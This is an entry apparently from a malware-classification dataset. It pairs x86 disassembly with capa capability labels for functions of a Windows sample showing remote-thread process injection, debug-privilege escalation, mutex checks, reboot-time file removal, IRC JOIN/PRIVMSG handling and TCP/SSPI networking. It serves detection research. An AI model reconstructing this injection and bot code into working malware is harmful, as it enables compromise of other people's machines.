joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1ca42e0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
call fcn.01ca35e0
cmp dword [0x1cd7a64], eax
je 0x1ca42f9
xor eax, eax
mov esp, ebp
pop ebp
ret
push ebx
mov ebx, dword [ebp + 8]
push edi
xor edi, edi
push ebx
mov dword [ebp - 4], edi
call fcn.01ca42a0
add esp, 4
test eax, eax
je 0x1ca4318
pop edi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push esi
mov esi, dword [ebp + 0xc]
mov eax, dword [esi + 8]
test eax, eax
je 0x1ca433a
push 0x40
push 0x3000
push eax
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
je 0x1ca439f
mov eax, dword [esi + 8]
test eax, eax
je 0x1ca435e
mov edx, dword [esi + 4]
lea ecx, [ebp - 8]
push ecx
push eax
push edx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1ca439f
mov eax, dword [esi + 8]
cmp eax, dword [ebp - 8]
jne 0x1ca439f
mov ecx, dword [esi + 0x18]
mov edx, dword [esi + 0x14]
mov eax, dword [esi + 0x10]
push ecx
mov ecx, dword [esi + 0xc]
push edx
push eax
push ecx
push ebx
call fcn.01ca4160
add esp, 0x14
mov dword [ebp - 4], eax
test eax, eax
je 0x1ca439f
mov edx, dword [esi]
sub edx, dword [0x1cd7a70]
push 0
push 0
push edi
add edx, eax
push edx
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
test esi, esi
jne 0x1ca43d5
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
test edi, edi
je 0x1ca43ba
push 0x8000
push 0
push edi
push ebx
call esi
mov eax, dword [ebp - 4]
test eax, eax
je 0x1ca43cc
push 0x8000
push 0
push eax
push ebx
call esi
pop esi
pop edi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push 0
call fcn.01ca37f0
mov eax, dword [ebp + 0x10]
add esp, 4
test eax, eax
je 0x1ca43f4
mov dword [eax], esi
pop esi
pop edi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop edi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1ca4ae0
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push esi
mov esi, dword [ebp + 8]
push edi
test esi, esi
je 0x1ca4b54
mov edi, dword [ebp + 0xc]
test edi, edi
je 0x1ca4b54
push 0xd10
push 0
push esi
mov dword [ebp + 8], 0
call fcn.01ca35f0
push 0x104
lea eax, [esi + 0xc08]
push edi
push eax
call sub.MSVCRT.dll_strncpy
push edi
lea ecx, [ebp - 0x104]
push str.__sMutex
push ecx
call sub.MSVCRT.dll_sprintf
add esp, 0x24
lea edx, [ebp - 0x104]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [esi], eax
test eax, eax
jne 0x1ca4b5c
push esi
call fcn.01ca4880
add esp, 4
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push ebx
push edi
push str._s_0
lea eax, [ebp - 0x104]
push 0x104
push eax
call sub.MSVCRT.dll__snprintf
add esp, 0x10
lea ecx, [ebp - 0x104]
push ecx
push 0
push 0xf001f
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
xor ebx, ebx
test eax, eax
sete bl
test eax, eax
je 0x1ca4b9d
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x1ca4bb4
push 0x10
lea eax, [ebp + 8]
mov ecx, esi
call fcn.01ca4560
add esp, 4
test eax, eax
je 0x1ca4bd1
lea edi, [ebp + 8]
call fcn.01ca4470
xor edi, edi
mov dword [esi + 0x804], eax
cmp eax, edi
jne 0x1ca4bda
push esi
call fcn.01ca4880
add esp, 4
pop ebx
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
cmp ebx, edi
je 0x1ca4c08
mov edx, dword [esi]
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x1ca4c08
mov eax, dword [esi + 0x804]
mov dword [eax + 8], edi
mov ecx, dword [esi + 0x804]
mov dword [ecx + 0xc], edi
mov edx, dword [esi]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
pop ebx
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1ca4d00
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x804
call fcn.01ca35e0
cmp dword [0x1ce9204], eax
jne 0x1ca4d24
call fcn.01ca35e0
mov eax, 1
mov esp, ebp
pop ebp
ret
call fcn.01ca35e0
mov dword [0x1ce9204], eax
call fcn.01ca3a20
test eax, eax
jne 0x1ca4d3d
xor eax, eax
mov esp, ebp
pop ebp
ret
push 0x1cd7bf8
mov dword [0x1cd7bf8], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x1ca4d37
push esi
call fcn.01ca3f90
push 0xedb88320
call fcn.01ca2d60
push 0x10000
push 0x1cd89b8
push 0
push 0
push 0x1cd7a80
call fcn.01ca3390
push 0x1cd7a80
push 0x1cd89a8
call fcn.01ca6040
mov esi, dword [ebp + 8]
push esi
push 0x1cd7c98
call fcn.01ca4ae0
push esi
push 0x1ce89b8
call fcn.01ca3ac0
push 0x104
push esi
push 0x1cd7ae8
call sub.MSVCRT.dll_strncpy
add esp, 0x3c
lea eax, [ebp - 4]
push eax
push 0x800
lea ecx, [ebp - 0x804]
push ecx
push 0x1b
call fcn.01ca35d0
push eax
call dword [0x1cb7944]
pop esi
test eax, eax
jl 0x1ca4e53
movzx edx, word [ebp - 0x802]
push edx
push 0x1cd7a80
call fcn.01ca3440
mov cx, word [ebp - 0x804]
mov dx, word [ebp - 0x802]
mov word [0x1cd7a78], cx
movzx ecx, cx
mov word [0x1cd7a7a], dx
mov edx, dword [ebp - 0x800]
push ecx
push edx
push eax
mov dword [0x1cd7a7c], eax
call fcn.01ca3640
movzx eax, word [0x1cd7a78]
mov edx, dword [0x1cd7a7c]
shr eax, 1
xor ecx, ecx
mov word [edx + eax*2], cx
movzx eax, word [0x1cd7a78]
mov ecx, dword [0x1cd7a7c]
shr eax, 1
push eax
push ecx
call fcn.01ca4cc0
add esp, 0x1c
mov dword [0x1ce9200], eax
call fcn.01ca35e0
push str.NtGetNextProcess
push str.ntdll.dll
call fcn.01ca3890
push eax
call fcn.01ca3750
push 1
push str.SeDebugPrivilege
mov dword [0x1cd7c94], eax
call fcn.01ca4c20
add esp, 8
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x1ca5220
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
sub esp, 0x218
mov eax, 0x5a4d
push ebx
mov ebx, ecx
cmp word [ecx], ax
je 0x1ca5240
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x1ca5239
mov edx, 0x14c
cmp word [eax + 4], dx
jne 0x1ca5239
mov eax, dword [eax + 0x80]
test eax, eax
je 0x1ca52ee
cmp dword [eax + ecx + 0xc], 0
push esi
lea esi, [eax + ecx + 0xc]
je 0x1ca52ed
push edi
mov eax, dword [esi]
add eax, ebx
push eax
mov dword [ebp - 0xc], eax
call fcn.01ca3670
mov word [ebp - 0xe], ax
mov word [ebp - 0x10], ax
add esp, 4
xor ecx, ecx
lea eax, [ebp - 0x218]
push ecx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x10]
mov word [ebp - 8], cx
push eax
lea ecx, [ebp - 8]
mov edx, 0x104
push ecx
mov word [ebp - 6], dx
call dword [0x1cb793c]
test eax, eax
jl 0x1ca52e4
mov edx, dword [ebp - 0xc]
push edx
call fcn.01ca3890
mov edi, eax
test edi, edi
je 0x1ca52e4
mov eax, dword [0x1ce9208]
push edi
push eax
lea ecx, [ebp - 8]
call fcn.01ca4e90
add esp, 8
test eax, eax
je 0x1ca52e4
push edi
call fcn.01ca5220
add esp, 4
add esi, 0x14
cmp dword [esi], 0
jne 0x1ca5273
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1ca6870
Capabilities:
Delete file
Get common file path

Disassembly:
call fcn.01ca6850
test eax, eax
jne 0x1ca687c
xor eax, eax
ret
push 0x1ce9c70
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
je 0x1ca6879
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1ce9c70
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, 0x1ce9c70
ret

Function at 0x1ca68b0
Capabilities:
Get common file path
Get program files directory

Disassembly:
push 1
push 0x26
push 0x1ce9e78
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
jne 0x1ca68c6
ret
push 0x1cb1728
push 0x1ce9e78
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
mov eax, 0x1ce9e78
ret

Function at 0x1ca6940
Capabilities:
Delete file
Move file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
xor edi, edi
test esi, esi
je 0x1ca6a31
test dword [ebp + 0xc], 0x40000000
je 0x1ca6a31
push esi
call fcn.01ca19f0
add esp, 4
test eax, eax
je 0x1ca6a31
push str.autorun.inf
push eax
call fcn.01ca39a0
add esp, 8
test eax, eax
jne 0x1ca6a31
push str.pdef
call fcn.01ca7700
add esp, 4
cmp eax, 1
jne 0x1ca6a31
push 0x1cb17f0
push 0x1cb6e90
mov edi, eax
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
je 0x1ca6a31
push 0x1ceac50
push 0x1cb6d88
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x1ca6a31
push 0x80
push 0x1cb6e90
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x1cb6e90
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 4
push 0
push 0x1cb6d88
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
test al, al
je 0x1ca6a19
push 0x1cb6d88
push esi
push 0x1cea710
push 0x1cb63ec
push str._s.Blocked___S__from_creating___S______s__will_be_removed_at_reboot_
call fcn.01caa310
add esp, 0x14
mov eax, edi
pop edi
pop esi
pop ebp
ret
push esi
push 0x1cea710
push 0x1cb63ec
push str._s.Blocked___S__from_creating___S_
call fcn.01caa310
add esp, 0x10
mov eax, edi
pop edi
pop esi
pop ebp
ret
Function at 0x1ca6a40
Capabilities:
Delete file
Move file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
xor ebx, ebx
push 0x103
lea eax, [ebp - 0x10f]
push ebx
push eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], ebx
mov byte [ebp - 0x110], bl
call sub.MSVCRT.dll_memset
mov eax, dword [0x1cead58]
add esp, 0xc
cmp eax, ebx
je 0x1ca6a82
cmp dword [ebp + 8], eax
je 0x1ca6ba2
push esi
mov esi, dword [ebp + 0x18]
cmp esi, 5
jb 0x1ca6ba1
push str.pdef
call fcn.01ca7700
add esp, 4
test eax, eax
je 0x1ca6ba1
mov ecx, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 0x10]
push edi
push ecx
push str._s:_d
push 0x1cb18cc
call fcn.01ca73e0
add esp, 0x10
cmp eax, 1
je 0x1ca6ba0
cmp edi, 0x19c8
jb 0x1ca6adc
cmp edi, 0x1b58
jbe 0x1ca6ba0
cmp esi, 0x200
ja 0x1ca6ba0
cmp dword [str.PRIVMSG_], ebx
je 0x1ca6ba0
mov edi, dword [ebp + 0x14]
mov esi, 0x1cb5658
lea esp, [esp]
mov edx, dword [esi]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [esi]
push eax
push edi
call sub.MSVCRT.dll__memicmp
add esp, 0xc
test eax, eax
jne 0x1ca6b84
push 4
push str.JOIN
push edi
call sub.MSVCRT.dll__memicmp
add esp, 0xc
test eax, eax
je 0x1ca6b42
push 7
push str.PRIVMSG
push edi
call sub.MSVCRT.dll__memicmp
add esp, 0xc
test eax, eax
jne 0x1ca6b7d
lea ecx, [ebp - 0x110]
push ecx
push str.JOIN__255s
push edi
call sub.MSVCRT.dll_sscanf
add esp, 0xc
cmp eax, 1
je 0x1ca6b76
lea edx, [ebp - 0x110]
push edx
push str.PRIVMSG__255s
push edi
call sub.MSVCRT.dll_sscanf
add esp, 0xc
cmp eax, 1
jne 0x1ca6b7d
mov dword [ebp - 8], 1
mov dword [ebp - 4], 1
inc ebx
cmp dword [ebx*4 + 0x1cb5658], 0
lea esi, [ebx*4 + 0x1cb5658]
jne 0x1ca6b00
cmp dword [ebp - 4], 0
ja 0x1ca6baa
pop edi
pop esi
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [ebp + 0x10]
mov edi, dword [ebp + 0xc]
push esi
push edi
push str._s:_d
push str.block
call fcn.01ca73e0
add esp, 0x10
test eax, eax
jne 0x1ca6c1a
cmp dword [ebp - 8], 1
jne 0x1ca6c01
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jle 0x1ca6c01
lea ecx, [ebp - 0x110]
push ecx
push esi
push edi
push 0x1cea710
push 0x1cb63ec
push str._s.Detected_process___S__sending_an_IRC_packet_to_server__s:_d__Target:__s_.
call fcn.01caa310
add esp, 0x18
jmp 0x1ca6c1a
push esi
push edi
push 0x1cea710
push 0x1cb63ec
push str._s.Detected_process___S__sending_an_IRC_packet_to_server__s:_d.
call fcn.01caa310
add esp, 0x14
mov eax, dword [0x1cea2ac]
push 0x80
push 0x1cea710
test eax, eax
je 0x1ca6c31
call eax
jmp 0x1ca6c37
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 4
push 0
push 0x1cea710
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
lea edx, [ebp - 0xc]
push edx
call fcn.01ca35d0
push eax
call fcn.01ca6d90
mov eax, dword [ebp + 8]
add esp, 8
test eax, eax
jbe 0x1ca6c65
push eax
call sub.WS2_32.dll_closesocket
push 0
call dword [sym.imp.KERNEL32.dll_ExitThread]
Function at 0x1ca7e20
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0x103a
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
mov dword [ebp - 4], 1
test esi, esi
jne 0x1ca7e44
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp + 0x10]
push edi
push 0x10
push ecx
lea edi, [esi + 8]
push edi
mov dword [esi + 4], eax
call fcn.01ca3640
add esp, 0xc
push 6
push 1
push 2
call sub.WS2_32.dll_socket
mov dword [esi + 0x18], eax
cmp eax, 0xffffffff
je 0x1ca7eb4
lea edx, [ebp - 4]
push edx
push 0x8004667e
push eax
call sub.WS2_32.dll_ioctlsocket
cmp eax, 0xffffffff
je 0x1ca7eb4
mov eax, dword [esi + 0x18]
push 0x10
push edi
push eax
call sub.WS2_32.dll_connect
mov eax, dword [ebp + 8]
mov dword [esi + 0x1c], 1
mov ecx, dword [eax]
mov edx, dword [ecx + 0x1020]
mov dword [esi], edx
mov eax, dword [eax]
mov dword [eax + 0x1020], esi
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1ca7f90
Capabilities:
Get socket status
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov eax, dword [eax]
sub esp, 0x104
push esi
mov esi, dword [ebp + 0xc]
cmp dword [esi + 0x1c], 0
push edi
je 0x1ca804f
mov ecx, dword [esi + 0x18]
lea edi, [eax + 0x1018]
push edi
push 0
lea edx, [ebp - 0x104]
push edx
push 0
push 0
mov dword [ebp - 0x100], ecx
mov dword [ebp - 0x104], 1
call sub.WS2_32.dll_select
cmp eax, 1
jne 0x1ca801c
mov eax, dword [esi + 0x20]
mov dword [esi + 0x1c], 0
test eax, eax
je 0x1ca8109
mov ecx, dword [esi + 0x24]
mov edx, dword [esi + 0x18]
push 0
push ecx
push eax
push edx
call sub.WS2_32.dll_send
mov eax, dword [esi + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
mov dword [esi + 0x20], 0
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, dword [esi + 0x18]
push edi
lea edx, [ebp - 0x104]
push edx
push 0
push 0
push 0
mov dword [ebp - 0x100], ecx
mov dword [ebp - 0x104], 1
call sub.WS2_32.dll_select
dec eax
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
mov esp, ebp
pop ebp
ret
movzx ecx, word [esi + 0x1038]
test cx, cx
jne 0x1ca80d6
mov ecx, dword [esi + 0x18]
add eax, 0x1018
push eax
push 0
push 0
lea edx, [ebp - 0x104]
push edx
push 0
mov dword [ebp - 0x100], ecx
mov dword [ebp - 0x104], 1
call sub.WS2_32.dll_select
cmp eax, 1
jne 0x1ca8109
mov ecx, dword [esi + 0x18]
push 0
push 0x1000
lea eax, [esi + 0x2f]
push eax
push ecx
call sub.WS2_32.dll_recv
mov word [esi + 0x1038], ax
test ax, ax
ja 0x1ca80b3
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov edx, dword [esi + 4]
mov word [esi + 0x2d], ax
add eax, 7
mov word [esi + 0x1038], ax
pop edi
mov dword [esi + 0x28], edx
mov byte [esi + 0x2c], 3
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
mov edx, dword [eax]
push 0
movzx ecx, cx
push ecx
lea edi, [esi + 0x28]
push edi
push edx
call sub.WS2_32.dll_send
test eax, eax
jle 0x1ca8109
sub word [esi + 0x1038], ax
movzx ecx, word [esi + 0x1038]
push ecx
lea edx, [eax + esi + 0x28]
push edx
push edi
call fcn.01ca3640
add esp, 0xc
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1ca8120
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, dword [edi]
mov esi, dword [eax + 0x1020]
test esi, esi
je 0x1ca8174
push esi
push edi
call fcn.01ca7f90
add esp, 8
test eax, eax
jne 0x1ca816e
mov ecx, dword [esi + 4]
push eax
mov eax, dword [edi]
push 5
lea edx, [ebp - 8]
mov dword [ebp - 8], ecx
mov byte [ebp - 4], 2
mov ecx, dword [eax]
push edx
push ecx
call sub.WS2_32.dll_send
push esi
push edi
call fcn.01ca7ef0
add esp, 8
mov esi, eax
jmp 0x1ca8170
mov esi, dword [esi]
test esi, esi
jne 0x1ca8137
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1ca81c0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x198
lea eax, [ebp - 0x198]
push eax
push 0x202
mov dword [ebp - 8], 1
mov dword [ebp - 4], 0x40000
call sub.WS2_32.dll_WSAStartup
test eax, eax
je 0x1ca81f2
xor eax, eax
mov esp, ebp
pop ebp
ret
push esi
push 6
push 1
push 2
call sub.WS2_32.dll_socket
mov esi, eax
cmp esi, 0xffffffff
je 0x1ca821f
lea ecx, [ebp - 8]
push ecx
push 0x8004667e
push esi
call sub.WS2_32.dll_ioctlsocket
cmp eax, 0xffffffff
jne 0x1ca8226
push esi
call sub.WS2_32.dll_closesocket
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push 4
lea edx, [ebp - 4]
push edx
push 0x1002
push 0xffff
push esi
call sub.WS2_32.dll_setsockopt
push 4
lea eax, [ebp - 4]
push eax
push 0x1001
push 0xffff
push esi
call sub.WS2_32.dll_setsockopt
mov ecx, dword [ebp + 0xc]
push 0x10
push ecx
push esi
call sub.WS2_32.dll_connect
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1ca8670
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x1cea6bc], 0
je 0x1ca8680
xor eax, eax
pop ebp
ret
push esi
push 0x103c
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
test esi, esi
je 0x1ca875a
mov eax, dword [ebp + 8]
push eax
call fcn.01ca9300
mov ecx, dword [ebp + 0xc]
add esp, 4
push ecx
mov dword [esi + 0x1030], eax
call sub.WS2_32.dll_htons
mov edx, 2
lea ecx, [esi + 0x102c]
mov word [ecx], dx
mov edx, dword [esi + 0x1030]
mov word [esi + 0x102e], ax
cmp edx, 0xffffffff
je 0x1ca8749
test edx, edx
je 0x1ca8749
test ax, ax
je 0x1ca8749
push ecx
push 0x1cea6bc
call fcn.01ca81c0
add esp, 8
mov dword [esi], eax
test eax, eax
jbe 0x1ca8749
mov eax, dword [esi + 0x1030]
push eax
call sub.WS2_32.dll_inet_ntoa
movzx ecx, word [esi + 0x102e]
push ecx
call sub.WS2_32.dll_ntohs
mov dword [esi + 0x1024], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0
push 0
push 0
push 0x1ca8640
push 0
mov dword [esi + 0x1028], eax
push 0
mov dword [0x1cea6bc], esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop esi
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [0x1cea6bc], 0
xor eax, eax
pop esi
pop ebp
ret
Function at 0x1ca89b0
Capabilities:
Get client handle via schannel
Get outbound credentials handle via credssp

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
push edi
xor edi, edi
push 0x34
lea eax, [ebp - 0x50]
push edi
push eax
mov dword [ebp - 4], edi
call sub.MSVCRT.dll_memset
mov esi, dword [ebp + 8]
add esp, 0xc
push edi
lea ebx, [esi + 0x10]
push ebx
push edi
push edi
lea ecx, [ebp - 0x54]
push ecx
push edi
push 2
xor eax, eax
push str.Microsoft_Unified_Security_Protocol_Provider
push edi
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], edi
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov dword [ebp - 0x54], 4
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x34], 0x20
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x28], 0xfffffffe
mov dword [ebp - 0x24], 0x1c
mov dword [ebp - 0x20], edi
call dword [sym.imp.Secur32.dll_AcquireCredentialsHandleW]
test eax, eax
jne 0x1ca8afe
push edi
lea edx, [ebp - 0x10]
lea ecx, [ebp - 4]
push ecx
mov dword [ebp - 0x14], edx
lea edx, [ebp - 0x1c]
push edx
lea eax, [esi + 8]
push eax
mov eax, dword [ebp + 0xc]
push edi
push edi
push edi
push edi
push 0x8c11c
push eax
push edi
push ebx
mov dword [ebp - 8], edi
mov dword [ebp - 0xc], 2
mov dword [ebp - 0x10], edi
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x1c], edi
call dword [sym.imp.Secur32.dll_InitializeSecurityContextW]
cmp eax, 0x90312
jne 0x1ca8afe
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 8]
push ecx
push edx
push esi
call fcn.01ca2be0
add esp, 0xc
cmp eax, dword [ebp - 0x10]
jne 0x1ca8afe
lea eax, [ebp - 0x10]
push eax
call fcn.01ca8760
mov ecx, dword [ebp + 0xc]
push 1
push ecx
push esi
call fcn.01ca8790
add esp, 0x10
cmp eax, 1
jne 0x1ca8afe
lea eax, [esi + 0x18]
push eax
push 4
lea eax, [esi + 8]
push eax
call dword [sym.imp.Secur32.dll_QueryContextAttributesW]
test eax, eax
jne 0x1ca8afe
mov edx, dword [esi + 0x20]
add edx, dword [esi + 0x1c]
mov eax, dword [esi + 0x18]
mov ecx, dword [esi + 0x34]
add eax, edx
push eax
push ecx
mov dword [esi + 0x38], eax
call fcn.01ca2490
add esp, 8
mov dword [esi + 0x34], eax
cmp eax, edi
je 0x1ca8afe
mov eax, 1
pop edi
mov dword [esi + 4], eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [esi + 0x2c]
push edx
call fcn.01ca24a0
lea eax, [ebp - 0x10]
push eax
call fcn.01ca8760
add esp, 8
add esi, 8
push esi
call dword [sym.imp.Secur32.dll_DeleteSecurityContext]
push ebx
call dword [sym.imp.Secur32.dll_FreeCredentialsHandle]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1ca8b30
Capabilities:
Encrypt data via sspi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, dword [esi + 0x18]
add ebx, dword [esi + 0x34]
mov eax, dword [esi + 0x20]
add eax, ebx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 0x10]
mov dword [ebp - 8], eax
xor eax, eax
push 0x2c
push eax
lea ecx, [ebp - 0x44]
push ecx
mov dword [ebp - 4], eax
mov dword [ebp + 8], edi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x48], eax
call sub.MSVCRT.dll_memset
add esp, 0xc
cmp dword [esi + 4], 0
jne 0x1ca8b9a
mov edx, dword [ebp + 0xc]
push edi
push edx
push esi
call fcn.01ca2be0
add esp, 0xc
xor ecx, ecx
cmp eax, edi
sete cl
pop edi
pop esi
pop ebx
mov eax, ecx
mov esp, ebp
pop ebp
ret
test edi, edi
je 0x1ca8c77
jmp 0x1ca8ba7
mov edi, dword [ebp + 8]
mov edx, dword [esi + 0x38]
mov eax, dword [esi + 0x34]
push edx
push eax
call fcn.01ca24e0
mov eax, dword [esi + 0x20]
add esp, 8
cmp edi, eax
jb 0x1ca8bc0
mov edi, eax
mov ecx, dword [ebp - 8]
push edi
push ecx
push ebx
call fcn.01ca2440
mov edx, dword [esi + 0x34]
mov eax, dword [esi + 0x18]
mov ecx, dword [ebp - 0xc]
sub dword [ebp + 8], edi
add dword [ebp - 8], edi
mov dword [ebp - 0x40], edx
mov edx, dword [esi + 0x1c]
mov dword [ebp - 0x48], eax
xor eax, eax
push eax
mov dword [ebp - 0x30], edx
lea edx, [ebp - 0x18]
push edx
push eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x28], ecx
lea eax, [esi + 8]
lea ecx, [ebp - 0x48]
push eax
mov dword [ebp - 0x44], 7
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x38], 1
mov dword [ebp - 0x2c], 6
mov dword [ebp - 0x14], 4
mov dword [ebp - 0x10], ecx
call sub.Secur32.dll_EncryptMessage
test eax, eax
jne 0x1ca8c7a
mov byte [ebp + 0xf], al
movzx eax, byte [ebp + 0xf]
lea eax, [eax + eax*2]
add eax, eax
add eax, eax
mov ecx, dword [ebp + eax - 0x48]
mov edx, dword [ebp + eax - 0x40]
lea edi, [ebp + eax - 0x48]
push ecx
push edx
push esi
call fcn.01ca2be0
add esp, 0xc
mov dword [ebp - 4], eax
cmp eax, dword [edi]
jne 0x1ca8c7d
mov al, byte [ebp + 0xf]
inc al
mov byte [ebp + 0xf], al
cmp al, 3
jb 0x1ca8c35
cmp dword [ebp + 8], 0
jne 0x1ca8ba4
mov edi, dword [ebp + 0x10]
mov dword [ebp - 4], edi
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret